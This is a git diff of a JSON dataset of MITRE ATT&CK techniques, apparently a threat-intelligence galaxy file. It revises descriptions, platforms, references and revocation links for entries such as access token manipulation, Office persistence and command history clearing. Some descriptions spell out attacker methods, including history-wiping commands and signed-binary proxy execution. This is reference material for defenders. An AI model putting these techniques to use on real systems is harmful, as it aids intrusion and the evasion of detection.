Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", + "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", "meta": { "external_id": "CAPEC-295", "kill_chain": [ @@ -6017,7 +10555,7 @@ "value": "Standard Cryptographic Protocol - T1521" }, { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", "meta": { "external_id": "T1217", "kill_chain": [ @@ -6041,52 +10579,10 @@ "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", "value": "Browser Bookmark Discovery - T1217" }, - { - "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)", - "meta": { - "external_id": "T1127", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1127", - "https://msdn.microsoft.com/library/dd393574.aspx", - "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/", - "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://docs.microsoft.com/visualstudio/msbuild/file-tracking", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" - ] - }, - "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", - "value": "Trusted Developer Utilities - T1127" - }, { "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", "meta": { "external_id": "T1128", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1128", "https://technet.microsoft.com/library/bb490939.aspx", @@ -6094,11 +10590,20 @@ "https://github.com/outflankbv/NetshHelperBeacon" ] }, + "related": [ + { + "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", "value": "Netsh Helper DLL - T1128" }, { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", "meta": { "external_id": "T1219", "kill_chain": [ @@ -6123,10 +10628,10 @@ ] }, "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", - "value": "Remote Access Tools - T1219" + "value": "Remote Access Software - T1219" }, { - "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.", + "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.", "meta": { "external_id": "CAPEC-555", "kill_chain": [ @@ -6137,7 +10642,8 @@ "Authentication logs" ], "mitre_platforms": [ - "Windows" + "Windows", + "Linux" ], "refs": [ "https://attack.mitre.org/techniques/T1133", @@ -6163,7 +10669,7 @@ "value": "Obfuscation or cryptography - T1313" }, { - "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)", + "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "meta": { "external_id": "CAPEC-633", "kill_chain": [ @@ -6171,6 +10677,8 @@ "mitre-attack:privilege-escalation" ], "mitre_data_sources": [ + "Authentication logs", + "Windows event logs", "API monitoring", "Access tokens", "Process monitoring", @@ -6182,15 +10690,12 @@ "refs": [ "https://attack.mitre.org/techniques/T1134", "https://capec.mitre.org/data/definitions/633.html", - "https://technet.microsoft.com/en-us/library/bb490994.aspx", "https://pentestlab.blog/2017/04/03/token-manipulation/", - "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf", - "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", - "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx" + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" ] }, "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", @@ -6223,7 +10728,7 @@ "value": "Account Access Removal - T1531" }, { - "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.\n\n### Cloud\n\nCloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)", + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nCloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)", "meta": { "external_id": "CAPEC-643", "kill_chain": [ @@ -6240,7 +10745,8 @@ "Windows", "AWS", "GCP", - "Azure" + "Azure", + "Linux" ], "refs": [ "https://attack.mitre.org/techniques/T1135", @@ -6255,13 +10761,14 @@ "value": "Network Share Discovery - T1135" }, { - "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nTo abuse these features, an adversary requires prior access to the user’s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)", + "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", "meta": { "external_id": "T1137", "kill_chain": [ "mitre-attack:persistence" ], "mitre_data_sources": [ + "Mail server", "Process monitoring", "Process command-line parameters", "Windows Registry", @@ -6273,19 +10780,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1137", - "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", - "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", - "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", - "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", - "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", - "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", - "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", - "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf", "https://github.com/sensepost/ruler", - "https://silentbreaksecurity.com/malicious-outlook-rules/", - "https://sensepost.com/blog/2017/outlook-forms-and-shells/", - "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/", "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", @@ -6299,19 +10795,6 @@ "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "meta": { "external_id": "T1173", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "Process monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1173", "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", @@ -6324,6 +10807,15 @@ "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" ] }, + "related": [ + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", "value": "Dynamic Data Exchange - T1173" }, @@ -6434,21 +10926,19 @@ "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", "meta": { "external_id": "T1146", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1146" ] }, + "related": [ + { + "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d3046a90-580c-4004-8208-66915bc29830", "value": "Clear Command History - T1146" }, @@ -6456,23 +10946,21 @@ "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", "meta": { "external_id": "T1174", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1174", "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" ] }, + "related": [ + { + "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", "value": "Password Filter DLL - T1174" }, @@ -6485,15 +10973,7 @@ "https://developer.android.com/reference/android/os/Build" ] }, - "related": [ - { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05", "value": "Device Type Discovery - T1419" }, @@ -6501,29 +10981,25 @@ "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_data_sources": [ - "SSL/TLS inspection", - "Anti-virus", - "Web proxy" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1194", "https://capec.mitre.org/data/definitions/163.html" ] }, + "related": [ + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", "value": "Spearphishing via Service - T1194" }, { - "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. \n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", + "description": "Adversaries may 